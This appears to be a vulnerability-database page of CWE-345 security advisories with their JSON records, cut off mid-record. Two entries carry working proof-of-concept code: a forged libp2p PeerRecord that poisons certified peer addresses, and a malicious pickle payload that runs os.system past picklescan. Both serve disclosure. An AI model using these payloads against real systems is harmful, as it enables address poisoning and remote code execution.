Common Weakness Enumeration

CWE-345

Discouraged

Insufficient Verification of Data Authenticity

Abstraction: Class · Status: Draft

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

1283 vulnerabilities reference this CWE, most recent first.

GHSA-VRF4-MX87-P53W

Vulnerability from github – Published: 2026-09-17 18:01 – Updated: 2026-09-17 18:01
VLAI
Summary
libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses
Details

Summary

@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details

The vulnerable code is in packages/peer-store/src/index.ts:

  • RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature.
  • const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID.
  • The optional expectedPeer check only compares expectedPeer to the envelope signer.
  • const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes.
  • this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

if (!peerRecord.peerId.equals(envelopePeer)) {
  throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
}

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> {
  const localKey = await generateKeyPair('Ed25519')
  const attackerKey = await generateKeyPair('Ed25519')
  const victimKey = await generateKeyPair('Ed25519')

  const attacker = peerIdFromPrivateKey(attackerKey)
  const victim = peerIdFromPrivateKey(victimKey)
  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

  const peerStore = persistentPeerStore({
    peerId: peerIdFromPrivateKey(localKey),
    datastore: new MemoryDatastore(),
    events: new TypedEventEmitter(),
    logger: defaultLogger()
  })

  // Payload claims victim, but the envelope is signed by attacker.
  const forgedRecord = new PeerRecord({
    peerId: victim,
    multiaddrs: [attackerAddr],
    seqNumber: 999999n
  })
  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
    expectedPeer: attacker
  })

  assert.equal(accepted, true)

  const poisonedVictim = await peerStore.get(victim)
  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
    multiaddr: multiaddr.toString(),
    isCertified
  })), [{
    multiaddr: attackerAddr.toString(),
    isCertified: true
  }])

  console.log(`${label} reproduced`)
  console.log(`attacker signer: ${attacker}`)
  console.log(`victim storage key: ${victim}`)
  console.log(`stored certified address: ${attackerAddr}`)
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

Expected output:

Certified peer-record address hijack reproduced
attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj
victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn
stored certified address: /ip4/203.0.113.66/tcp/4001

Impact

Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.

This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/peer-store"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "12.0.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T18:01:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.\n\n### Details\nThe vulnerable code is in `packages/peer-store/src/index.ts`:\n\n- `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature.\n- `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID.\n- The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer.\n- `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes.\n- `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID.\n\nThe missing invariant is:\n\n```ts\npeerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))\n```\n\n`packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior:\n\n```ts\nif (!peerRecord.peerId.equals(envelopePeer)) {\n  throw new InvalidMessageError(\u0027signing key does not match PeerId in the PeerRecord\u0027)\n}\n```\n\nThe gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling:\n\n```ts\npeerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })\n```\n\nThis does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`.\n\n### PoC\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair } from \u0027@libp2p/crypto/keys\u0027\nimport { defaultLogger } from \u0027@libp2p/logger\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { PeerRecord, RecordEnvelope } from \u0027@libp2p/peer-record\u0027\nimport { persistentPeerStore } from \u0027@libp2p/peer-store\u0027\nimport { multiaddr } from \u0027@multiformats/multiaddr\u0027\nimport { MemoryDatastore } from \u0027datastore-core/memory\u0027\nimport { TypedEventEmitter } from \u0027main-event\u0027\n\nconst label = \u0027Certified peer-record address hijack\u0027\n\nasync function main (): Promise\u003cvoid\u003e {\n  const localKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const victimKey = await generateKeyPair(\u0027Ed25519\u0027)\n\n  const attacker = peerIdFromPrivateKey(attackerKey)\n  const victim = peerIdFromPrivateKey(victimKey)\n  const attackerAddr = multiaddr(\u0027/ip4/203.0.113.66/tcp/4001\u0027)\n\n  const peerStore = persistentPeerStore({\n    peerId: peerIdFromPrivateKey(localKey),\n    datastore: new MemoryDatastore(),\n    events: new TypedEventEmitter(),\n    logger: defaultLogger()\n  })\n\n  // Payload claims victim, but the envelope is signed by attacker.\n  const forgedRecord = new PeerRecord({\n    peerId: victim,\n    multiaddrs: [attackerAddr],\n    seqNumber: 999999n\n  })\n  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)\n\n  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.\n  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {\n    expectedPeer: attacker\n  })\n\n  assert.equal(accepted, true)\n\n  const poisonedVictim = await peerStore.get(victim)\n  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) =\u003e ({\n    multiaddr: multiaddr.toString(),\n    isCertified\n  })), [{\n    multiaddr: attackerAddr.toString(),\n    isCertified: true\n  }])\n\n  console.log(`${label} reproduced`)\n  console.log(`attacker signer: ${attacker}`)\n  console.log(`victim storage key: ${victim}`)\n  console.log(`stored certified address: ${attackerAddr}`)\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exitCode = 1\n})\n```\n\nExpected output:\n\n```text\nCertified peer-record address hijack reproduced\nattacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj\nvictim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn\nstored certified address: /ip4/203.0.113.66/tcp/4001\n```\n\n### Impact\nAttackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.\n\nThis does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.",
  "id": "GHSA-vrf4-mx87-p53w",
  "modified": "2026-09-17T18:01:38Z",
  "published": "2026-09-17T18:01:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/pull/3570"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses"
}

GHSA-VRP7-HQRC-F29Q

Vulnerability from github – Published: 2024-01-16 09:30 – Updated: 2025-06-02 18:30
VLAI
Details

Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-52109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-16T08:15:08Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-vrp7-hqrc-f29q",
  "modified": "2025-06-02T18:30:25Z",
  "published": "2024-01-16T09:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52109"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2024/1"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRXP-MG9F-HWF3

Vulnerability from github – Published: 2021-09-22 20:37 – Updated: 2021-09-21 21:51
VLAI
Summary
Improperly Implemented path matching for in-toto-golang
Details

Impact

Authenticated attackers posing as functionaries (i.e., within a trusted set of users for a layout) are able to create attestations that may bypass DISALLOW rules in the same layout. An attacker with access to trusted private keys, may issue an attestation that contains a disallowed artifact by including path traversal semantics (e.g., foo vs dir/../foo).

Patches

The problem has been fixed in version 0.3.0.

Workarounds

Exploiting this vulnerability is dependent on the specific policy applied.

For more information

If you have any questions or comments about this advisory: * Open an issue in in-toto-golang * Email us at in-toto-public * If this is a sensitive security-relevant disclosure, please send a PGP encrypted email to santiagotorres@purdue.edu or jcappos@nyu.edu

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/in-toto/in-toto-golang"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-21T21:51:18Z",
    "nvd_published_at": "2021-09-21T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAuthenticated attackers posing as functionaries (i.e., within a trusted set of users for a layout) are able to create attestations that may bypass DISALLOW rules in the same layout. An attacker with access to trusted private keys, may issue an attestation that contains a disallowed artifact by including path traversal semantics (e.g., foo vs dir/../foo).\n\n### Patches\nThe problem has been fixed in version 0.3.0.\n\n### Workarounds\nExploiting this vulnerability is dependent on the specific policy applied.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [in-toto-golang](http://github.com/in-toto/in-toto-golang)\n* Email us at [in-toto-public](mailto:in-toto-public@googlegroups.com)\n* If this is a sensitive security-relevant disclosure, please send a PGP encrypted email to santiagotorres@purdue.edu or jcappos@nyu.edu\n",
  "id": "GHSA-vrxp-mg9f-hwf3",
  "modified": "2021-09-21T21:51:18Z",
  "published": "2021-09-22T20:37:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/in-toto/in-toto-golang/security/advisories/GHSA-vrxp-mg9f-hwf3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41087"
    },
    {
      "type": "WEB",
      "url": "https://github.com/in-toto/in-toto-golang/commit/f2c57d1e0f15e3ffbeac531829c696b72ecc4290"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/in-toto/in-toto-golang"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improperly Implemented path matching for in-toto-golang"
}

GHSA-VV38-4298-RC55

Vulnerability from github – Published: 2022-05-14 04:03 – Updated: 2022-05-14 04:03
VLAI
Details

A vulnerability in Trend Micro ScanMail for Exchange 12.0 exists in which certain specific installations that utilize a uncommon feature - Other Update Sources - could be exploited to overwrite sensitive files in the ScanMail for Exchange directory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-14091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-16T02:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Trend Micro ScanMail for Exchange 12.0 exists in which certain specific installations that utilize a uncommon feature - Other Update Sources - could be exploited to overwrite sensitive files in the ScanMail for Exchange directory.",
  "id": "GHSA-vv38-4298-rc55",
  "modified": "2022-05-14T04:03:22Z",
  "published": "2022-05-14T04:03:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14091"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/solution/1118486"
    },
    {
      "type": "WEB",
      "url": "https://www.coresecurity.com/advisories/trend-micro-scanmail-microsoft-exchange-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VV6J-3G6G-2PVJ

Vulnerability from github – Published: 2025-08-22 16:58 – Updated: 2026-09-11 19:36
VLAI
Summary
Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
Details

Summary

Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the reduce method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.

PoC

import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.27"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-22T16:58:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, (\u0027whoami\u0027,))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
  "id": "GHSA-vv6j-3g6g-2pvj",
  "modified": "2026-09-11T19:36:47Z",
  "published": "2025-08-22T16:58:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71348"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/47"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config"
}

GHSA-VWXR-FXPW-RXVM

Vulnerability from github – Published: 2026-09-20 09:30 – Updated: 2026-09-20 15:30
VLAI
Details

The Meow Gallery WordPress plugin before 5.5.5 does not properly sanitize a user-supplied value before concatenating it into a shortcode string that it passes to the WordPress shortcode parser on a publicly reachable endpoint, allowing unauthenticated users to execute arbitrary registered shortcodes and disclose non-public gallery content.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-92422"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-20T07:16:51Z",
    "severity": "MODERATE"
  },
  "details": "The Meow Gallery WordPress plugin before 5.5.5 does not properly sanitize a user-supplied value before concatenating it into a shortcode string that it passes to the WordPress shortcode parser on a publicly reachable endpoint, allowing unauthenticated users to execute arbitrary registered shortcodes and disclose non-public gallery content.",
  "id": "GHSA-vwxr-fxpw-rxvm",
  "modified": "2026-09-20T15:30:23Z",
  "published": "2026-09-20T09:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92422"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/17a94434-3ccc-4282-99f5-d18043673669"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VXF4-QH89-W2R6

Vulnerability from github – Published: 2022-05-17 04:11 – Updated: 2025-11-03 21:30
VLAI
Details

The Hospira LifeCare PCA Infusion System before 7.0 does not validate network traffic associated with sending a (1) drug library, (2) software update, or (3) configuration change, which allows remote attackers to modify settings or medication data via packets on the (a) TELNET, (b) HTTP, (c) HTTPS, or (d) UPNP port. NOTE: this issue might overlap CVE-2015-3459.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-5406"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-07-06T19:59:00Z",
    "severity": "HIGH"
  },
  "details": "The Hospira LifeCare PCA Infusion System before 7.0 does not validate network traffic associated with sending a (1) drug library, (2) software update, or (3) configuration change, which allows remote attackers to modify settings or medication data via packets on the (a) TELNET, (b) HTTP, (c) HTTPS, or (d) UPNP port.  NOTE: this issue might overlap CVE-2015-3459.",
  "id": "GHSA-vxf4-qh89-w2r6",
  "modified": "2025-11-03T21:30:29Z",
  "published": "2022-05-17T04:11:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2015/icsa-15-125-01.json"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-15-125-01"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-15-125-01"
    },
    {
      "type": "WEB",
      "url": "https://xs-sniper.com/blog/2015/06/08/hospira-plum-a-infusion-pump-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "http://www.fda.gov/MedicalDevices/Safety/AlertsandNotices/ucm446809.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VXPM-8HCP-QH27

Vulnerability from github – Published: 2023-02-03 21:07 – Updated: 2023-02-15 18:38
VLAI
Summary
Payment information sent to PayPal not necessarily identical to created order
Details

Impact

If JavaScript-based PayPal checkout methods are used (PayPal Plus, Smart Payment Buttons, SEPA, Pay Later, Venmo, Credit card), the amount and item list sent to PayPal may not be identical to the one in the created order.

Patches

The problem has been fixed with version 5.4.4

Workarounds

Disable the aforementioned payment methods or use the Security Plugin in version >= 1.0.21.

References

Shopware blog post

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "swag/paypal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-03T21:07:28Z",
    "nvd_published_at": "2023-02-03T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nIf JavaScript-based PayPal checkout methods are used (PayPal Plus, Smart Payment Buttons, SEPA, Pay Later, Venmo, Credit card), the amount and item list sent to PayPal may not be identical to the one in the created order.\n\n### Patches\nThe problem has been fixed with version 5.4.4\n\n### Workarounds\nDisable the aforementioned payment methods or use the Security Plugin in version \u003e= 1.0.21.\n\n### References\n[Shopware blog post](https://news.shopware.com/security-issue-in-paypal-plugin-update-required)\n",
  "id": "GHSA-vxpm-8hcp-qh27",
  "modified": "2023-02-15T18:38:53Z",
  "published": "2023-02-03T21:07:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/SwagPayPal/security/advisories/GHSA-vxpm-8hcp-qh27"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/SwagPayPal/commit/57db5f4a57ef0a1646b509b415de9f03bf441b08"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/SwagPayPal"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Payment information sent to PayPal not necessarily identical to created order"
}

GHSA-VXQJ-8HG5-3V79

Vulnerability from github – Published: 2026-07-23 18:31 – Updated: 2026-07-27 18:31
VLAI
Details

Logto omits validation of the SAML element, enabling attackers to strip time and audience restrictions and replay assertions indefinitely.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-15615"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T16:17:14Z",
    "severity": "HIGH"
  },
  "details": "Logto omits validation of the SAML \u003cConditions\u003e element, enabling attackers to strip time and audience restrictions and replay assertions indefinitely.",
  "id": "GHSA-vxqj-8hg5-3v79",
  "modified": "2026-07-27T18:31:42Z",
  "published": "2026-07-23T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15615"
    },
    {
      "type": "WEB",
      "url": "https://github.com/logto-io/logto/blob/ea3ede35028dfd0bbb6d7b239623ce0e7f6cdff8/packages/connectors/connector-saml/src/utils.ts#L46-L110"
    },
    {
      "type": "WEB",
      "url": "https://github.com/logto-io/logto/blob/ea3ede35028dfd0bbb6d7b239623ce0e7f6cdff8/packages/core/src/sso/SamlConnector/utils.ts#L175-L205"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W26W-6GR3-J89V

Vulnerability from github – Published: 2026-09-16 03:31 – Updated: 2026-09-16 03:31
VLAI
Details

On affected platforms running Arista EOS with MLAG Dual Primary Detection configured, an unauthenticated attacker with access to the Dual Primary Detection network segment can send specially crafted packets to interfere with the dual-primary state. If the MLAG primary switch fails while these packets are present, the secondary switch incorrectly concludes it is in a dual-primary condition and err-disables its interfaces, leading to a traffic interruption.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-73450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-16T03:16:59Z",
    "severity": "HIGH"
  },
  "details": "On affected platforms running Arista EOS with MLAG Dual Primary Detection configured, an unauthenticated attacker with access to the Dual Primary Detection network segment can send specially crafted packets to interfere with the dual-primary state. If the MLAG primary switch fails while these packets are present, the secondary switch incorrectly concludes it is in a dual-primary condition and err-disables its interfaces, leading to a traffic interruption.",
  "id": "GHSA-w26w-6gr3-j89v",
  "modified": "2026-09-16T03:31:10Z",
  "published": "2026-09-16T03:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73450"
    },
    {
      "type": "WEB",
